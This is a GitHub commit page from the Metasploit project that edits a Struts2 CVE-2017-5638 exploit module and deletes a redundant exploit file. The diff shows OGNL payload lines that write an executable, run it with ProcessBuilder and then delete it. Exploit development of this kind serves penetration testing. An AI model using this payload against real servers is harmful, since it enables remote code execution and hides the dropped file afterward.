Skip to content

Commit f429b80

Browse files
committed
Forgot to rm this when i combined
1 parent 53c9caa commit f429b80

File tree

2 files changed

+3
-89
lines changed

2 files changed

+3
-89
lines changed

modules/exploits/multi/http/struts2_content_type_ognl.rb

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -28,6 +28,7 @@ def initialize(info = {})
2828
'Nixawk', # Metasploit module
2929
'Chorder', # Metasploit module
3030
'egypt', # combining the above
31+
'Jeffrey Martin', # Java fu
3132
],
3233
'References' => [
3334
['CVE', '2017-5638'],
@@ -167,7 +168,8 @@ def send_payload(exe)
167168
ognl << %q|(#fos.close()).|
168169

169170
ognl << %q|(#p=new java.lang.ProcessBuilder({#f.getAbsolutePath()})).|
170-
ognl << %q|(#p.start())|
171+
ognl << %q|(#p.start()).|
172+
ognl << %q|(#f.delete())|
171173

172174
send_struts_request(ognl, extra_header: [exe].pack("m").delete("\n"))
173175
end

modules/exploits/multi/http/struts2_s2045_rce.rb

Lines changed: 0 additions & 88 deletions
This file was deleted.

0 commit comments

Comments
 (0)